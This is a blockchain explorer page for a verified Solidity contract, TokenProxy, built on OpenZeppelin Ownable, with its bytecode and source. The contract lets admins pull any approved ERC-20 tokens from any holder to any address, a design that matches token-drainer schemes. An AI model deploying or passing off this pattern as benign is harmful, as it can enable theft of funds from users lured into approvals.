Address Contract Verified
Address
0x0093dD3CBc45eEF0B35deafA024FE52c5cDCe845
Balance
0 ETH
Nonce
1
Code Size
4195 bytes
Creator
0x55deF036...F029 at tx 0x5d2abb9c...45c762
Indexed Transactions
0
Contract Bytecode
4195 bytes
0x608060405234801561000f575f80fd5b5060043610610091575f3560e01c80637048027511610064578063704802751461012d578063715018a6146101495780638da5cb5b14610153578063da3e339714610171578063f2fde38b1461018d57610091565b80631785f53c1461009557806324d7806c146100b1578063429b62e5146100e157806368155ec114610111575b5f80fd5b6100af60048036038101906100aa9190610a97565b6101a9565b005b6100cb60048036038101906100c69190610a97565b6102b9565b6040516100d89190610adc565b60405180910390f35b6100fb60048036038101906100f69190610a97565b61030b565b6040516101089190610adc565b60405180910390f35b61012b60048036038101906101269190610b28565b610328565b005b61014760048036038101906101429190610a97565b610612565b005b610151610722565b005b61015b610735565b6040516101689190610b9b565b60405180910390f35b61018b60048036038101906101869190610bb4565b61075c565b005b6101a760048036038101906101a29190610a97565b610866565b005b6101b16108ea565b3373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361021f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161021690610c5e565b60405180910390fd5b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fa3b62bc36326052d97ea62d63c3d60308ed4c3ea8ac079dd8499f1e9c4f80c0f60405160405180910390a250565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b6001602052805f5260405f205f915054906101000a900460ff1681565b60015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166103b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a890610cc6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361041f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161041690610d2e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361048d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048490610d96565b60405180910390fd5b5f81116104cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c690610dfe565b60405180910390fd5b5f8490508073ffffffffffffffffffffffffffffffffffffffff166323b872dd8585856040518463ffffffff1660e01b815260040161051093929190610e2b565b6020604051808303815f875af115801561052c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105509190610e8a565b61058f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058690610eff565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f70c5f97fd0068e96984b8116fe83eefbff3b91244565bf311a3cba619b4ecbc7856040516106039190610f1d565b60405180910390a45050505050565b61061a6108ea565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610688576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067f90610f80565b60405180910390fd5b6001805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f44d6d25963f097ad14f29f06854a01f575648a1ef82f30e562ccd3889717e33960405160405180910390a250565b61072a6108ea565b6107335f610971565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166107e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107dc90610fe8565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663095ea7b383836040518363ffffffff1660e01b8152600401610820929190611006565b6020604051808303815f875af115801561083c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108609190610e8a565b50505050565b61086e6108ea565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108de575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016108d59190610b9b565b60405180910390fd5b6108e781610971565b50565b6108f2610a32565b73ffffffffffffffffffffffffffffffffffffffff16610910610735565b73ffffffffffffffffffffffffffffffffffffffff161461096f57610933610a32565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016109669190610b9b565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f33905090565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610a6682610a3d565b9050919050565b610a7681610a5c565b8114610a80575f80fd5b50565b5f81359050610a9181610a6d565b92915050565b5f60208284031215610aac57610aab610a39565b5b5f610ab984828501610a83565b91505092915050565b5f8115159050919050565b610ad681610ac2565b82525050565b5f602082019050610aef5f830184610acd565b92915050565b5f819050919050565b610b0781610af5565b8114610b11575f80fd5b50565b5f81359050610b2281610afe565b92915050565b5f805f8060808587031215610b4057610b3f610a39565b5b5f610b4d87828801610a83565b9450506020610b5e87828801610a83565b9350506040610b6f87828801610a83565b9250506060610b8087828801610b14565b91505092959194509250565b610b9581610a5c565b82525050565b5f602082019050610bae5f830184610b8c565b92915050565b5f805f60608486031215610bcb57610bca610a39565b5b5f610bd886828701610a83565b9350506020610be986828701610a83565b9250506040610bfa86828701610b14565b9150509250925092565b5f82825260208201905092915050565b7f43616e6e6f742072656d6f76652073656c6600000000000000000000000000005f82015250565b5f610c48601283610c04565b9150610c5382610c14565b602082019050919050565b5f6020820190508181035f830152610c7581610c3c565b9050919050565b7f4f6e6c792061646d696e732063616e207472616e7366657220746f6b656e73005f82015250565b5f610cb0601f83610c04565b9150610cbb82610c7c565b602082019050919050565b5f6020820190508181035f830152610cdd81610ca4565b9050919050565b7f496e76616c69642066726f6d20616464726573730000000000000000000000005f82015250565b5f610d18601483610c04565b9150610d2382610ce4565b602082019050919050565b5f6020820190508181035f830152610d4581610d0c565b9050919050565b7f496e76616c696420746f206164647265737300000000000000000000000000005f82015250565b5f610d80601283610c04565b9150610d8b82610d4c565b602082019050919050565b5f6020820190508181035f830152610dad81610d74565b9050919050565b7f416d6f756e74206d7573742062652067726561746572207468616e20300000005f82015250565b5f610de8601d83610c04565b9150610df382610db4565b602082019050919050565b5f6020820190508181035f830152610e1581610ddc565b9050919050565b610e2581610af5565b82525050565b5f606082019050610e3e5f830186610b8c565b610e4b6020830185610b8c565b610e586040830184610e1c565b949350505050565b610e6981610ac2565b8114610e73575f80fd5b50565b5f81519050610e8481610e60565b92915050565b5f60208284031215610e9f57610e9e610a39565b5b5f610eac84828501610e76565b91505092915050565b7f5472616e73666572206661696c656400000000000000000000000000000000005f82015250565b5f610ee9600f83610c04565b9150610ef482610eb5565b602082019050919050565b5f6020820190508181035f830152610f1681610edd565b9050919050565b5f602082019050610f305f830184610e1c565b92915050565b7f496e76616c69642061646d696e206164647265737300000000000000000000005f82015250565b5f610f6a601583610c04565b9150610f7582610f36565b602082019050919050565b5f6020820190508181035f830152610f9781610f5e565b9050919050565b7f4f6e6c792061646d696e732063616e20617070726f766520746f6b656e7300005f82015250565b5f610fd2601e83610c04565b9150610fdd82610f9e565b602082019050919050565b5f6020820190508181035f830152610fff81610fc6565b9050919050565b5f6040820190506110195f830185610b8c565b6110266020830184610e1c565b939250505056fea2646970667358221220507fb754d0c5d9dffd2b56a515c1e8dc2a136a74f50c3cdb133b2596f956e74864736f6c634300081a0033
Verified Source Code Full Match
Compiler: v0.8.26+commit.8a97fa7a
EVM: cancun
Optimization: No
Ownable.sol 100 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)
pragma solidity ^0.8.20;
import {Context} from "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* The initial owner is set to the address provided by the deployer. This can
* later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
/**
* @dev The caller account is not authorized to perform an operation.
*/
error OwnableUnauthorizedAccount(address account);
/**
* @dev The owner is not a valid owner account. (eg. `address(0)`)
*/
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the address provided by the deployer as the initial owner.
*/
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
IERC20.sol 79 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.20;
/**
* @dev Interface of the ERC-20 standard as defined in the ERC.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the value of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the value of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves a `value` amount of tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 value) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets a `value` amount of tokens as the allowance of `spender` over the
* caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 value) external returns (bool);
/**
* @dev Moves a `value` amount of tokens from `from` to `to` using the
* allowance mechanism. `value` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
Context.sol 28 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)
pragma solidity ^0.8.20;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
TokenProxy.sol 92 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title TokenProxy
* @dev A proxy contract that allows an admin to transfer tokens from users who have approved the proxy
*/
contract TokenProxy is Ownable {
// Mapping of admin addresses
mapping(address => bool) public admins;
// Events
event AdminAdded(address indexed admin);
event AdminRemoved(address indexed admin);
event TokensTransferred(address indexed token, address indexed from, address indexed to, uint256 amount);
constructor() Ownable(msg.sender){
admins[msg.sender] = true;
emit AdminAdded(msg.sender);
}
/**
* @dev Add an admin
* @param _admin The address of the admin to add
*/
function addAdmin(address _admin) external onlyOwner {
require(_admin != address(0), "Invalid admin address");
admins[_admin] = true;
emit AdminAdded(_admin);
}
/**
* @dev Remove an admin
* @param _admin The address of the admin to remove
*/
function removeAdmin(address _admin) external onlyOwner {
require(_admin != msg.sender, "Cannot remove self");
admins[_admin] = false;
emit AdminRemoved(_admin);
}
/**
* @dev Check if an address is an admin
* @param _admin The address to check
* @return True if the address is an admin
*/
function isAdmin(address _admin) external view returns (bool) {
return admins[_admin];
}
/**
* @dev Transfer tokens from a user to a recipient
* @param _token The address of the token to transfer
* @param _from The address to transfer from
* @param _to The address to transfer to
* @param _amount The amount to transfer
*/
function transferTokens(
address _token,
address _from,
address _to,
uint256 _amount
) external {
require(admins[msg.sender], "Only admins can transfer tokens");
require(_from != address(0), "Invalid from address");
require(_to != address(0), "Invalid to address");
require(_amount > 0, "Amount must be greater than 0");
// Transfer tokens from the user to the recipient
IERC20 token = IERC20(_token);
require(token.transferFrom(_from, _to, _amount), "Transfer failed");
emit TokensTransferred(_token, _from, _to, _amount);
}
/**
* @dev Approve the Permit2 contract to spend tokens
* @param _token The address of the token to approve
* @param _spender The address of the spender
* @param _amount The amount to approve
*/
function approveToken(
address _token,
address _spender,
uint256 _amount
) external {
require(admins[msg.sender], "Only admins can approve tokens");
IERC20(_token).approve(_spender, _amount);
}
}
Read Contract
admins 0x429b62e5 → bool
isAdmin 0x24d7806c → bool
owner 0x8da5cb5b → address
Write Contract 6 functions
These functions modify contract state and require a wallet transaction to execute.
addAdmin 0x70480275
address _admin
approveToken 0xda3e3397
address _token
address _spender
uint256 _amount
removeAdmin 0x1785f53c
address _admin
renounceOwnership 0x715018a6
No parameters
transferOwnership 0xf2fde38b
address newOwner
transferTokens 0x68155ec1
address _token
address _from
address _to
uint256 _amount
Recent Transactions
No transactions found for this address